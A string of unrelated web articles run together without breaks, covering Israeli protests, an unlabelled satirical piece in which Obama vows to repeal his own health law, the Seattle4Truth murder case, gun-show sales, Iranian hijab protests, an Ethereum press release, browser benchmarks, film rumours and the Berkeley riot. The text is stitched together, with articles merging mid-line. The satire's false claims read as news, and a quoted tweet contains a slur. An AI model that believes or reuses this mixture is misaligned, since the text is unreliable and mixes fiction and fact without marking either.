Then everything changed. Fifty people put fifty tents on a street in hot and dusty Tel Aviv and reclaimed their identities. Thousands more joined. They said that they didnt want to live like this anymore. They said it was about house prices, but we all knew that was only part of it. It was about social justice in the real sense, in the Jewish historical sense. It was about making our society a place fit for the custodianship of our history and the captaincy of our future. It was, as my father would say, pure Yiddishkeit.
The protests have run their course; we probably wont see 300,000 people in the streets of Tel Aviv for social justice again anytime soon, with only the remnants of the core dealing with the logistics of actual fiscal change in Israel and the housing crisis remaining.
But we mustnt forget that night, when those 300,000 people said, We can do this, we can be worth something, not only to ourselves, but to each other as well. We can build a Jewish identity worth having again.
We mustnt forget it because it is our duty to the world over as Jews to make sure that it wasnt just one night, but a permanent reality.
Josh Mintz is completing his degree in International Relations and Middle Eastern studies and is the communications director at Friend a Soldier, an NGO that encourages dialogue with IDF soldiers.WASHINGTON—Calling it a "poorly conceived and irresponsible piece of legislation, pure and simple," President Obama made a public pledge to voters Tuesday that, if reelected, he would fight to repeal the recently upheld Patient Protection and Affordable Care Act.
In an address to the nation broadcast live from the White House, the president promised voters in sharp, forceful terms that the very first act of his second term would be to "strike down this unjust and unconstitutional law," which he said would place "an unacceptable burden on hardworking Americans."
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"Citizens going to the polls in November should know that if they reelect me, they will not have to face the consequences of this bloated, oppressive act," said Obama, who called the legislation a "906-page monstrosity." "This law isn't merely an attack on our current health care system. It's an attack on our core values and what it means to be an American. And mark my words, an Obama administration will support those values, not destroy them."
"Frankly, this toxic plan is just another needless tax to pay—nothing more, nothing less," Obama continued. "It's harmful and it's wrong and I won't stand for it."
Blasting members of Congress for "voting to vastly overstep government authority," Obama said that under his leadership the federal government would not "reach into the pockets of honest taxpayers" to pay for the extension of health care benefits enacted by the legislation.
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Obama added that if the plan goes into effect, it is "100 percent guaranteed" to bankrupt the United States within 10 years.
Proponents of the health care act have yet to respond to the president's numerous criticisms of the law, which he claimed would increase insurance premiums and force every American to receive subpar medical treatment.
"I'm going to say it in plain English: I will not let Obamacare stunt job growth, drive up the cost of health care, and cripple our economy—I simply won't let it happen," the president said. "Come November, should I be reelected, it will be my great pleasure to walk into the Oval Office, take my pen in hand, and sign a big 'adios' repealing this grave threat to our country's future."
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Added Obama, "That is a promise you can take to the voting booth."Quantum physics theorist, conspiracy theorist, and YouTube content creator going by the handle of Seattle4Truth, real name Lane Maurice Davis, has been charged for first degree murder in a Skagit County court located in the state of Washington.
Journalist Ian Miles Cheong spotted the news from a post over on the regional news website, Go Skagit, which detailed the incident.
I am not kidding. Seattle4truth aka Lane Davis murdered his dad for being a “leftist.” https://t.co/tFl3cYBbmH — Ian Miles Cheong (@stillgray) October 14, 2017
According to the website’s report, Davis was at his parent’s house in July, 2017 (which was around the time when his YouTube channel was last updated) and was embroiled in an argument with them about being “leftists” and “pedophiles”. Audio recordings feature Davis threatening to kill his father multiple times. By the time police arrived, Davis’ father had been stabbed to death. The reason as to why Davis stated that his parents were “leftists pedophiles” was not clarified.
Lane Davis pleaded not-guilty to first-degree murder and is being held on $1 million bail. The story was originally published back in August, but is only just now being brought to the forefront of social media attention after diggers made the connection between Davis and the murder in Skagit. Some followers also probably noticed a lack of content from Davis on his YouTube channel for the last couple of months.
A lot of other people have been asking who is Lane Davis? And why did Cheong tweet out about the murder?
Well, it turns out that Lane Davis, also known by his online handle of Seattle4Truth, first gained a foothold in the online realm with papers about quantum physics many years ago, with a paper written by Davis called “Quantum Cold-Case Mysteries Revisited” being published by The General Science Journal back in 2010.
Davis’ penchant for examining complex theories took a different turn in 2014 when he stopped focusing on quantum physics and turned his attention to #GamerGate.
Davis started a Patreon account in hopes of gaining financial support while investigating the ties between some of the individuals involved in #Gamergtae and the common core sector.
Lane Davis also had various Twitter accounts, one of which he abandoned back in 2010 called Seattle4Truth, where he notes that he’s a conspiracy theorist. His newer Twitter account was suspended after reports of abuse were levied at the account.
Before the suspension, Davis had been becoming increasingly hostile toward those considered Pro-#GamerGate. He began affiliating with a group known as GG Revolt, and trolls known as the Ayyteam. Eventually people began associating Seattle4Truth with drama and controversy, despite his YouTube channel steadily growing during that time. He even managed to contribute to Ethan Ralph’s The Ralph Retort.
In an attempt to get onto a panel at the SPJ Airplay event that #GamerGate was funding, Davis publicly renounced #GamerGate and stated that he was instead “defecting” to anti-#GamerGate, as chronicled in an old thread on Kotaku in Action. Davis then wrote a letter to the SPJ Airplay committee asking to be considered as an anti-#GamerGate panelists.
For those of you who can’t read the message, it states…
“My name is Lane Davis and I have been involved in #GamerGate since October. Initially, I was pro-GG, but after I released a documentary on the subject I realized the claim that GG is about Journalistic Ethics is false. “I can personally speak on the harassment from GG, as I was smeared, slandered, lied about, and doxxed. I know how ruthless they can be to anyone they despise, even if it is people who were fighting for their cause. “Coincidentally, I left GamerGate and no longer support the movement. I look forward to the opportunity to challenge the pro panel about the claim that GamerGate is “about ethics in games journalism”.
Davis is correct that he was doxxed. There’s an archive that was captured on July 4th, 2016 of an old GG Revolt thread containing Lane Davis’ home address, which matches up with the information provided in the report from Go Skagit.
Message to #GamerGate autists: Lol your ethics-jihad to enforce Sharia-ethics-law on journalists who are unbelievers is rather strange. — 🇺🇸S4T🇺🇸 (@realS4T) September 8, 2016
@babablaksheeple @TheRalphRetort GG’s always been a faggot-fest. That’s why they hated me off the bat, I was alt-right from the start — 🇺🇸S4T🇺🇸 (@realS4T) April 17, 2016
Lane Davis, AKA Seattle4Truth, found no friends in the regular #GamerGate circles, and his content was regularly downvoted or filtered if it was posted or mentioned on places like Kotaku in Action or the 8chan #GamerGate threads. He was also banned from Kotaku in Action back in 2015.
Some readers reached out concerned that the story about Davis allegedly killing his father would be portrayed by mainstream media as #GamerGate being involved in the alleged murder.“Mommy left us here.”
That was the desperate message two Brooklyn girls told police after their mom allegedly abandoned them on the street, prosecutors said today.
Dalisha Adams, 26, was busted at 11:24 p.m. Sunday after cops matched the girls’ identities with photo records from ACS, police said.
Adams was arraigned today in Brooklyn Supreme Court and ordered held on $2,500 cash bail.
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Magnum.” – The Weatherby FoundationA few years ago, British writer Alain de Botton penned an essay on why we hate cheap things. His point was simple: we don’t think we’re snobs, but we often behave like we are. We conflate worth with price and assume cheap things can’t be any good – after all, there must be a reason why they’re cheap. And in doing so, we miss many of the more common pleasures surrounding us.
His essay starts with the story of the pineapple. Once a rare and exotic fruit, pineapples were difficult to cultivate and even more difficult to transport. In the 17th century, a single pineapple would cost about $7,500 in today’s dollars. Only royalty could afford to eat it. Russia’s Catherine the Great was a big fan, as was Charles II of England. Grand monuments and buildings were erected in its honor; poems were written about its flavor. If you were so lucky to get a pineapple, you’d put it on your mantle until it rotted and fell apart. Pineapples were a luxury, even a status symbol.
Then, at the end of the 19th century, two things happened. First, large commercial plantations were set up closer to the West, such as in Hawaii. Second, the advent of steam ship technology dramatically lowered transportation costs. Today, you can get a pineapple for less than $5 in almost any supermarket, sometimes available in bite-sized pieces contained in see-through boxes. There’s no glamour to pineapples anymore, but it’s not because the fruit has changed – only our attitude towards it.
Botton’s essay, which has been recently repackaged and sold as part of a book, explores the question of why. Why do we hate cheap things? His answer is a bit crude and relies on a somewhat simplistic presentation of pre-industrial production and evolutionary psychology. But I think he has one important point: the relationship between price and quality today is looser than it once was. People assume that cheap things won’t last, but the industrial revolution has made it possible to buy all sorts of affordable things that will last forever and function reasonably well for years. And yet, the idea persists that cheap things can’t be good.
There’s a ton of literature on this in behavioral sciences. The price of wine, for example, can affect people’s perception of how something tastes. In blind taste tests, non-experts will often show a preference for cheaper wines. But in similar groups, when the price of a wine is revealed, they’ll show a preference for the more expensive bottles. In other words, non-wine-experts like cheaper wines until they know it’s cheap – then they’ll prefer whichever bottle is more expensive. Vox Media has a nice video about this, which I’ve embedded above.
The are similar studies on country-of-origin labels – not the same as price, but closely related. The most famous (or at least the most cited) study was done in 1965 by Robert Schooler. He took a group of 200 students and had them evaluate a set of identical fabric swatches – all plain weaves, beige, and made of 80% cotton and 20% linen. The only difference is that each swatch was labeled with a different country-of-origin label. One was said to be made in Guatemala, another in Mexico, another in El Salvador, another in Costa Rica, and so forth. And, as you can probably guess, students saw differences in quality that weren’t there, often colored by their own biases about those countries.
This isn’t to say that quality doesn’t correlate with price. For clothes, there’s often a bare minimum for how much something has to cost if you want to use good materials and skilled labor. It’s hard to get a pair of Goodyear-welted shoes for less than $150. Densely knitted cashmere sweaters will likely run you north of $400. And you can’t find a great suit nowadays for less than $500 – they just don’t exist.
At the same time, people’s perception of quality is more often colored by their hate of cheap things than we’d like to think. Hell hath no fury like a man who just found a small scuff on his Allen Edmonds factory seconds. Nevermind that, should they have passed his quality control test, the shoes would be summarily dragged across hard concrete for the next decade or so. Or see how the initial stiffness in Meermin’s shoes is treated compared to Saint Crispin’s – both brands known for their stiff constructions, but only one has a thread on StyleForum with complaints. I can’t help but think people’s perception of “goodness” is often heavily colored by an item’s price.
A few years ago, I interviewed Jeffery Diduch, one of the more level-headed people I know in the fashion trade, and the VP of Technical Design at Hickey Freeman. We talked about why it’s hard for everyday people to discern quality. Commonly cited benchmarks – such as Super 100s wools and handsewn seams – aren’t as reliable as people think. And the things that do actually determine quality, such as a yarn’s fibers or a garment’s internal construction, aren’t things consumers can easily see. Instead of conceptualizing quality as a linear thing, with one object being clearly better than the other, Diduch suggests that making clothes is more like making food. You can hire the best chefs in the world and buy the most expensive ingredients, but if you want to sell something, you need to make sacrifices. Perhaps you hire skilled, but less renowned, chefs. Maybe you use slightly lower-grade olive oil, but decide that the truffle oil must be kept if the dish is to have its signature flavor. This is very much like what designers do. There are hundreds of steps that go into making a garment, and each designer has to decide which steps are most important to him or her. These kinds of calls are going to be very subjective – and technical in ways non-experts won’t understand.
Instead of getting caught up in quality, price, and county-of-origin labels, I think people would be better off if they just developed their eye for how something looks. There are certainly some cheaply made clothes out there that will fall apart or look worse with wear. Fast fashion brands such H&M are probably best avoided, and you should probably know the bare basics of quality (avoid shoes with corrected grain leather, for example).
That said, to the degree that quality matters, it should manifest itself in how a garment feels and looks. And if you have an eye for style, you can ignore these more irrelevant dimensions on quality entirely. One of my favorite field jackets is from Polo Ralph Lauren – it fits me better than many of the “higher end” brands, has better detailing than things I’ve seen from Japan, and is simply a good, honed-in version of something Ralph Lauren has been making for decades. Instead of obsessing over price and quality, the two dimensions that dominate online clothing forums, I think you can find great stuff by following these more general rules:
Develop an Eye: As mentioned above, to the degree quality matters, it should be apparent when you put something on. Does the item make you look and feel good? Does it fit well? Is the silhouette flattering and stylish? Often times, I think people would be better off if they thought harder about design and aesthetics, and less about price and manufacturing specifications. You’re buying fashion items, not computer equipment. Focusing too much on quality risks conflating expensive items with stylish items. The two are not always one and the same.
As mentioned above, to the degree quality matters, it should be apparent when you put something on. Does the item make you look and feel good? Does it fit well? Is the silhouette flattering and stylish? Often times, I think people would be better off if they thought harder about design and aesthetics, and less about price and manufacturing specifications. You’re buying fashion items, not computer equipment. Focusing too much on quality risks conflating expensive items with stylish items. The two are not always one and the same. Find Trustworthy Companies: People have never been more cynical of brands, but truthfully, I think consumers are often better off finding trustworthy companies than trying to play expert themselves. Find brands and stores whose reputation ride on their carrying worthwhile products. Often times, I find that’s truer of smaller, specialized boutiques than well-known luxury labels (Dana Thomas wrote a good book years ago on how luxury lost its luster). Find brands you can trust and go off direct experiences with previous purchases. If you like a pair of jeans you bought at Self Edge, the next pair will probably be pretty good too.
People have never been more cynical of brands, but truthfully, I think consumers are often better off finding trustworthy companies than trying to play expert themselves. Find brands and stores whose reputation ride on their carrying worthwhile products. Often times, I find that’s truer of smaller, specialized boutiques than well-known luxury labels (Dana Thomas wrote a good book years ago on how luxury lost its luster). Find brands you can trust and go off direct experiences with previous purchases. If you like a pair of jeans you bought at Self Edge, the next pair will probably be pretty good too. Broaden Your Experiences: For the two things above, you only know when something is good when you’ve compared it to other things. Broaden your experiences. Go to a bunch of stores, maybe some just outside of your price range, and try things on. Maybe you’ll develop a new appreciation for how something can look. Additionally, broaden your horizon when it comes to fashion. There’s a ton of inspiration to be had everywhere – music subcultures, niche films, and historical movements. You don’t have to delve into cosplay, but a little familiarity with the sleaziness of the 1970s goes a long way in wearing a Tom Ford suit well.
For the two things above, you only know when something is good when you’ve compared it to other things. Broaden your experiences. Go to a bunch of stores, maybe some just outside of your price range, and try things on. Maybe you’ll develop a new appreciation for how something can look. Additionally, broaden your horizon when it comes to fashion. There’s a ton of inspiration to be had everywhere – music subcultures, niche films, and historical movements. You don’t have to delve into cosplay, but a little familiarity with the sleaziness of the 1970s goes a long way in wearing a Tom Ford suit well. Beware of Trends: I’m not the kind of guy that believes everything needs to be a classic, but nowadays, when you’re buying clothes, the design is more likely to give out than the construction. If something is red hot one year, there’s a chance you’ll get tired of it once everyone has the same thing. That, in the end, is the real problem with fast fashion – if the item is being sold at Zara, the style is likely at the end of its fashion lifecycle. It can be fun to participate in trends, and I certainly do, but beware of things you might hate in six months.Ever wonder how criminals are able to get guns so easily? It's depressingly simple. On any given weekend, at dozens of gun shows held in states across the country -- criminals can buy guns from "private sellers" who are not required to perform background checks.
The Bureau of Alcohol, Tobacco and Firearms has identified gun shows as the source of more than 30% of all illegally trafficked guns in the country. Those are the guns most likely to be used in crimes -- and to kill innocent people, including police officers.
Today, New York City is releasing the results of a multi-state investigation into this activity: "Gun Show Undercover." We sent investigators with hidden cameras to seven gun shows across Ohio, Tennessee and Nevada, and we found out just how easy it is for criminals and the mentally ill to walk in and buy guns -- no questions asked.
Our investigators told the private sellers that they "probably couldn't pass a background check" -- and at that point, the seller should have sent them away. Because even private sellers are prohibited by federal law from selling to those who they have reason to suspect could not pass a background check.
Instead, 19 out of 30 private sellers made the sale.
Our investigator tells a seller that he "probably couldn't pass" a background check and tests a gun.
These so-called private sellers are supposed to be making only occasional sales. According to federal law, they cannot be "engaged in the business" of selling firearms. But that's exactly what we found. We found private sellers with large inventories doing a brisk business. In fact, one private seller acknowledged selling 348 guns in less than a year.
At 2 p.m. today, you can watch our hidden camera videos and learn more about our investigation at www.nyc.gov/gunshow.
Now, why is the Mayor of New York City investigating gun shows in places like Ohio, Tennessee, and Nevada? Good question. And the answer is: because I have no other choice.
Even though New York is the safest big city in the country, and safer than most mid-sized cities, and even though we have the nation's toughest law against illegal possession of a loaded handgun, drug dealers and criminals continue to obtain guns from inter-state traffickers.
According to ATF, 89% of guns used in crimes in New York City last year originated out of state. Many cities around the country find themselves in the same situation. It is clear that we can't solve this problem by working only within our state. We need leadership from Washington to close loopholes that criminals exploit, and we need stronger enforcement of the laws already on the books.
Our investigator tests a gun just before having a another investigator "do some paperwork" for him.
Congress should pass legislation requiring that all sales at gun shows be subject to criminal background checks -- a measure that has the support of Sen. John McCain, President Obama and 83% of gun owners. It is also time for Congress to support the Bureau of Alcohol, Tobacco, Firearms, and Explosives (ATF) with the resources it needs to crack down on illegal sales at gun shows.Thousands of Iranian women are taking off their veils and publishing pictures of themselves online, igniting a debate about the freedom to wear or not wear the hijab.
A Facebook page set up by London-based Iranian journalist Masih Alinejad 10 days ago has attracted more than 130,000 likes, with women across Iran sending unveiled pictures taken in parks, at the seaside and in the streets.
"My stealthy freedom while driving in the streets of Tehran," wrote Maryam alongside an image showing her behind the wheel. "I like to feel the wind blowing on my face."
Alinejad said she was not opposed to the hijab – her mother is veiled – but she believed people should have the freedom to choose. Photograph: Facebook
Another post showed a mother with her daughter. "The beautiful seaside in Kish [Island]," the younger woman wrote. "We strolled on the rocks and experienced the cool breeze flowing through our hair. Is this a big request?" A young woman from the city of Fuman, in the northern province of Gilan, sent a picture of her in the woods. "I took this picture stealthily in the spring," she wrote. "It makes me feel happy." Another young woman was pictured unveiled just next to a big billboard in Tehran' Yas sports complex asking women to respect the Islamic hijab.
Alinejad told the Guardian she had been bombarded with messages and pictures since launching Stealthy Freedoms of Iranian Women. "I've hardly slept in the past three days because of the number of pictures and messages I've received."
Iran's religious police are often deployed on the streets, cracking down on those with 'bad hijab' habits. Photograph: Facebook
Alinejad said she did her best to verify that the pictures were sent from genuine accounts and asked people for permission before publishing them, but did not reveal their full names.
"I have no intention whatsoever to encourage people to defy the forced hijab or stand up against it," she said. "I just want to give voice to thousands and thousands of Iranian women who think they have no platform to have their say."
Alinejad said she was not opposed to the hijab – her mother is veiled – but she believed people should have the freedom to choose.
Alinejad, who is from Ghomikola, a small northern Iranian village, said the hijab was part of her daily life until she left Iran in 2009. "For 30 years I wore hijab in front of my dad. It took time for me to be able to come out and tell people I prefer to have no hijab, that I want to be myself," she said.
Alinejad: 'Iran’s state television is only showing one side of society, only the people with hijab.' Photograph: Facebook
"Iran's state television is only showing one side of society, only the people with hijab. It gives no airtime to people who have a different voice, who have a different lifestyle."
Would Iranians vote against the forced hijab had they been able to participate in a referendum about the issue today? "I can't predict but freedom to have hijab is a basic right, not one to put on a referendum."
She said: "I want to live in a country where both me, who doesn't have hijab, and my sister, who prefers hijab, can live along each other."
In the 40C heat of an Iranian summer, many women in the country push the boundaries, wearing loose hijab or sporting clothing and haircuts the authorities deem "un-Islamic". At the same time, the religious police are often deployed on the streets, cracking down on those with "bad hijab" or arresting those who defy the rules.
In the 40C heat of an Iranian summer, many women push the boundaries, wearing loose hijab or sporting clothing authorities deem 'un-Islamic'. Photograph: Facebook
Iran's president, Hassan Rouhani, has spoken out against the crackdown, but his government has little control over these forces, who operate under other Iranian political institutes such as the revolutionary guards.
"I'm certainly against these actions," the president said last year. "If a woman or a man does not comply with our rules for clothing, his or her virtue should not come under question … In my view, many women in our society who do not respect our hijab laws are virtuous. Our emphasis should be on the virtue."
Hardliners have warned Rouhani against any compromise. Last week, a group of conservative men and women staged a protest in Tehran demanding a tightening of Islamic rules on hijab. Women in chador, a full dress covering head to toe, were also there demanding the authorities to act about those with bad hijab.London, United Kingdom, June 14, 2016 – The Ethereum Foundation is pleased to announce Microsoft as the Premiere Sponsor of Devcon2, the Ethereum developer conference in Shanghai, 19-21 September, 2016.
Devcon2, which will showcase the most up-to-date research and development work supported by the Foundation, also represents the most comprehensive Ethereum-focused developer’s conference to date.
The Ethereum Foundation’s Chief Scientist, Vitalik Buterin, notes that “We are very happy to have Microsoft's sponsorship for Devcon2 and highly appreciate their continued support and collaboration with the Ethereum Foundation and the Ethereum ecosystem. We look forward to continuing to work together in the future.”
Microsoft, an early leader with its Blockchain as a Service (BaaS), provides an open, hyperscale cloud platform and an expanding ecosystem of blockchain technologies for businesses, consortiums and governments who are looking to adopt the technology. As part of the conference, Ethereum developers will hear from Microsoft experts and learn about Microsoft Azure’s leading tools for blockchain technology development.
“We’re thrilled to support the Ethereum Foundation’s Devcon2, which will bring together pioneers in blockchain from all over the world,” said Marley Gray, Director of Blockchain and Distributed Ledger Business Development, Microsoft. “The Ethereum blockchain is powerful, and we’re looking forward to continuing the collaborative relationship with the Ethereum community, together bringing the best of blockchain technology to our cloud platform, Microsoft Azure.”
While Devcon2 continues to be an independent event, this year it is presented as part of the International Blockchain Week along with the Wanxiang Blockchain Labs’ events. The weeklong, single venue format functions to provide both the development-focused Devcon2 and the business and industry focused Global Summit events in one week to facilitate greater interaction and cross-pollination between people involved in different areas or aspects of blockchain tech.
Please save the date and check the Ethereum blog for periodic updates until the event website is available in late June.
About the Ethereum Foundation
The Ethereum Foundation is a registered non-profit “Stiftung" (foundation) in Zug, Switzerland that is the primary source for Ethereum platform innovation research and core development.
For all inquiries, please email: [email protected]One fundamental difference between Internet Explorer and Microsoft Edge, the company's upcoming web browser, is that Microsoft began to integrate third-party technologies into Edge.
One of those technologies is Mozilla's asm.js which provides performance improvements for web applications that are closer to native code than standard JavaScript.
The current version of Microsoft Edge ships with preliminary asm.js integration that users that run recent Windows 10 builds can enable in the browser.
To enable the feature in Edge, type about:flags in the browser's address bar and hit enter. Scroll down until you find "Enable asm.js" and check its box to enable it. You need to restart the browser before the changes take effect.
Edge with asm.js enabled performed more than 300% better in the Unity Benchmark and 200% better performance in Octane's zlib test according to Microsoft.
It is interesting to note that Edge without asm.js performed considerably better than the latest version of Internet Explorer 11.
I ran a series of benchmarks comparing Edge with asm.js to Edge without asm.js on a Windows 10 test system with an Intel Core i5-2500K CPU @ 3.30GHz, 8 Gigabyte of RAM and a NVIDIA GeForce GTX 560 Ti.
Microsoft Edge got an overall score of 32403 points in the Unity Benchmark while the asm.js enabled benchmark almost doubled that score as it landed at 59068 points.
While there are sub-benchmarks where asm.js did not have an effect, Mandelbrot GPU for instance, others differed by (almost) a factor of 10.
The overall score on Google's Octane 2.0 benchmark did not differ much between Edge with and without asm.js but the zlib performance in that benchmark needs specific mentioning as it made a huge jump from 46k to 65k. While I was not able to confirm the 200% improvement that Microsoft noticed when the company ran the benchmark, it is still an impressive gain.
How does this compare to Chrome and Firefox?
I ran the tests again this time with the most recent stable versions of Google Chrome and Mozilla Firefox to see how they would perform under the same conditions and to get a better picture of Edge's performance gains.
Google Chrome scored 46503 in the Unity Benchmark while Mozilla Firefox managed to get a score of 62918 in the same benchmark.
Scores were a lot closer in Google's Octane benchmark. Google Chrome scored 29144 in the benchmark matching Microsoft's Edge's score with asm.js enabled while Firefox scored 25717.
And Internet Explorer 11? The browser came dead last in all benchmarks scoring 14678 points in the Octane benchmark and would not even fully run the Unity benchmark.
Outlook
Benchmarks are not necessarily a reflection of real-world performance but it cannot be denied that Microsoft managed to catch up to Firefox and Google Chrome which is good for everyone.
Now You: Have you tried Microsoft Edge yet?
Summary Article Name Microsoft Edge benefits significantly from Mozilla's asm.js Description Microsoft's upcoming web browser Edge benefits significantly from the integration of Mozilla's asm.js technology. Author Martin Brinkmann Publisher Ghacks Technology News Logo
AdvertisementAlthough 2018 is still a ways off, Marvel Studios is hard at work at the upcoming Black Panther movie, which should go into pre-production in September of this year. As it stands, we know that Ryan Coogler has signed on to direct the film which was written by Joe Robert Cole. And, of course, Chadwick Boseman, who will make his debut as the character in next month’s Captain America: Civil War, will portray the titular character in the 2018 film. Unfortunately, that’s about all we know for certain at this stage. But it appears that may soon change. During today’s Heroic Insider, Umberto Gonzalez revealed that there are apparently four major female roles in the Black Panther film.
What roles could these be? Well, one would expect Shuri to be one of those four, with Shuri’s mother, Queen Ramonda being another. A third option would be N’Yami, T’Challa’s mother, who died during childbirth – of course, this would only make sense should they do flashbacks. So what about that fourth role? Remember how everyone assumed that mysterious woman from the cave scene featured in the trailer for Avengers: Age of Ultron could be a member of the Dora Milaje? That, of course, turned out not to be the case, but I would expect them to appear in the solo Black Panther film.
Although this is a rumor for now, it’s more than likely we’ll begin hearing some official details concerning the film over the coming months. What roles do you think Umberto is hinting at? And what actresses would you like to see cast? Sound off in the comments below!
Black Panther is set to hit movie theaters on February 16, 2018.
Source: Heroic Insider.Recently, the bodily autonomy of women has been a recurring theme in some of the most entertaining and successful sci-fi properties. The winner in this category is, of course, Orphan Black, a show about clones struggling to live their lives free of the scientists, fundamentalists, creators, and capitalists who all want to lay claim to their genetic material and ultimately control their destinies. Given the ongoing political debates about the rights of women and LGBTQ folks to make their own decisions about their bodies and lives, free from systemic or individual interference, it’s no surprise the genre is reflecting these issues back to us. But with Clone Club coming up on its final season, what other media plays with this topic through imagined worlds, new technology and far-off futures?
The entire driving force of last summer’s runaway hit Mad Max: Fury Road is women seeking and exercising their own bodily autonomy, declaring, “We are not things.” In Fury Road’s case, this is led by a disabled woman who couldn’t be anything short of badass if she tried. Perhaps the most profound expression of the wives’ rejection of their status as “treasures” is when The Splendid Angharad, knowing that Immortan Joe will never harm his unborn child, flings open the car door and uses her body to shield the others, a move that would be echoed in an episode of Killjoys later that same summer. Her move is a brazen display of independence and internal strength in the face of extreme violence against women, using Immortan Joe’s weakness against him to protect those she loves. In the end, she loses both her own life and that of her unborn child, but every sacrifice in Fury Road, whether from the wives, the Vuvalini or Furiosa herself, was that woman’s call to make. After lifetimes imprisoned or on the run, the women of Fury Road choose to live and die by their own values, and together they earn freedom for themselves and so many others.
Much like the clones of Orphan Black, Portia Lin on Syfy’s Dark Matter comes to realize that she is considered someone else’s property, due to scientific innovation within her very person, unbeknownst to her. In this case, rather than her DNA carrying a trademark like our dear clones, Portia (or “Two,” as she and her crewmates prefer to call her) is home to a crew of nanites. While there are obvious advantages to playing host to microscopic robots that rapidly heal her body, it also puts a target on her back. Similar to Clone Club, Two’s creators see her as valuable property, which they want returned to them at any cost. For Two, the cost of her unique augmentation is that someone considers her their own, leading to a life of looking over her shoulder, trusting no one for fear that they would sell her out. In spite of this, she still forms strong bonds with the members of her crew, and no one ever questions the fact that she is their leader.
Recently, we saw the other side of the coin on Killjoys (which shares producers with Orphan Black) with the introduction of Clara, a character with so many tech-based body modifications that she’s no longer legally classified as a human being. And while she was certainly unhappy about being a kidnapped “robo slave girl,” she finds her way out through negotiation and brute force, with some help from Alice, her gun/arm. We learn she is proud of her modified status so long as she’s free, and has no desire to go back to being a “basic.” Of course, I expect no less from a show where our main character is both the ranking badass who forges a life where she is beholden only to the warrants she chooses to serve, and a woman struggling to process a childhood where she was raised to be a weapon. Her abusive mentor continually fights to be a part of her life against her will, insisting he knows best and that she freely chose a life of torture and murder. The fact that Dutch chose to become a bounty hunter (or “Killjoy”), a job where she is able to use her particular set of skills how and when she chooses while remaining politically neutral, shows us the importance of agency, and a powerful example of a woman escaping her abuser.
On The 100, the CW show that is so much more than its “post-apocalyptic teens play Lord of the Flies” premise, autonomy is everything. Octavia, the character who has had perhaps the most growth from the “We’re back, bitches!” girl of the pilot to the fearsome warrior who defies clan allegiances of the third season, was imprisoned for simply being born. A second child, her very existence was illegal up on the space station known as the Arc. This leads to a distrust for her kind that allows her to be more open-minded about those she encounters on the ground, a skill that is even more valuable than her ability with a machete. Surprisingly, though, The 100 has (so far) refrained from any depiction or even suggestion of sexual assault, a major departure from most genre and prestige shows. While thoughtful depiction of sexual assault is necessary, these days it feels more radical not to show it at all, rather than inundating the viewer with trauma.
All of these stories, from many different creators, cast into stark relief a specific set of fears: the fear of being owned, of being denied personhood, of being limited in our movement, decisions, reproductive rights and bodily integrity. But they also offer us hope. They show us women who will stop at nothing until they and their loved ones are free, and condemn those who stand in their way. They also show us characters who look unimaginably powerful systems, technology and people dead in the face and say no, you don’t get to decide for me.
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Delia Harrington is a writer, activist, photographer, and geek. She finds the intersection of her passions in feminist pop-culture criticism of her favorite genre shows. Delia works in international development, travels as often as possible, and advocates for survivors of sexual violence. Her writing can be found on Wanderful, Stop Street Harassment and her blog. Her social justice snark can be found on twitter.
—The Mary Sue has a strict comment policy that forbids, but is not limited to, personal insults toward anyone, hate speech, and trolling.—
Follow The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google+.A bonfire set by demonstrators at the University of California at Berkeley. (Ben Margot/Associated Press)
After a violent rampage by anarchists forced the University of California at Berkeley to cancel right-wing provocateur Milo Yiannopoulos’s speech Wednesday night, President Trump was quick to blame the University.
If U.C. Berkeley does not allow free speech and practices violence on innocent people with a different point of view – NO FEDERAL FUNDS? — Donald J. Trump (@realDonaldTrump) February 2, 2017
The president’s imputation of institutional responsibility for the violence bizarrely distracted from the actual perpetrators — in contradiction to the facts, which support the view that Berkeley’s administration was doing its best to facilitate the peaceful exercise of First Amendment rights both by Yiannopoulos and those at the school who abhor him. It did so despite the urging of many students and faculty that it ban the event outright. (Trump did criticize the anarchists in a later tweet.)
Don’t take my word for it, though. In an interview Friday, Peter Sittler, a sophomore at Berkeley and vice president of the organization that sponsored Yiannopoulos’s visit, the Berkeley College Republicans, told me the school’s administration, from Chancellor Nicholas Dirks on down, “worked tirelessly to plan [the event] and make sure it went through.” From the time Sittler’s group first proposed hosting Yiannopoulis two months ago, the university “acted in good faith,” and was “fully committed to protecting our First Amendment rights,” he said.
Much has been made of the stiff security fee (almost $6,400) the university purportedly imposed on campus Republicans, which some have claimed was an attempt to discourage them from following through on the planned event. In fact, such fees, which essentially cover the costs of additional campus police positioned inside a given venue, are common for high-profile student-sponsored events at Berkeley. The group that hosted Justice Sonia Sotomayor had to pay more than $5,800 in 2011. As it happens, the Republicans did not even have to fork over a dollar for Wednesday’s event, since their contract with the university only called for payment if it actually came off successfully, which, alas, it did not.
Far from sticking the student group with the tab for security, the university spent tens of thousands of dollars of its own funds on extra police, including dozens of officers trained in crowd control brought in from other campuses in the California school system. These officers were deployed in an effort both to protect approximately 1,000 anti-Yiannopoulos demonstrators, who began gathering more than two hours before the 8 p.m. start time, and to keep them from disrupting the speech.
Unfortunately, the university’s plan did not reckon with the “black bloc,” the hooded, heavily armed political thugs who rolled in to campus around 5:45 p.m. and began setting off powerful firecrackers, lighting fires, smashing windows and generally creating so much mayhem that the police had no choice but to cancel the speech and escort the speaker away for his own protection.
Sittler told me he was deeply disturbed by the behavior of some fellow Berkeley students, anti-Yiannopoulos protesters who did not join the anarchists’ violence but in some cases cheered it on. Still, he does not fault the school for its failure to foresee “street-fighter anarchists showing up in full battle gear,” or its decision to cancel the event. “That was the only path forward,” he told me.
There is undoubtedly plenty of room for second-guessing the campus police’s performance. They eschewed mass arrests, in part because of the sheer difficulty and danger of wading into a crowd of students mixed with highly mobile, violent thugs — and in part because they were following practices recommended by an internal review panel after allegedly excessive police force against demonstrators on Berkeley’s campus in November 2011.
Obviously, the campus police are still struggling to get it right, and there’s a case to be made that a more aggressive posture was in order Wednesday night. (The city of Berkeley’s separate police force seems to have been particularly passive against the anarchists who also attacked in their jurisdiction, but that’s not the university’s fault.) On the other hand, those who decry the lack of arrests should acknowledge that, for all the chaos, only six people reported minor injuries on Wednesday night. With the safety of students and Yiannopoulos himself as their prime directive, the police commanders on scene decided “we’ll trade a few broken windows for that,” as university spokesman Dan Mogulof told me. Mogulof added that campus police are reviewing video of the events and plan to seek arrest warrants for any rioters they can identify. Contrary to Internet myth, there was no “stand down” order to the police from Cal’s administration.
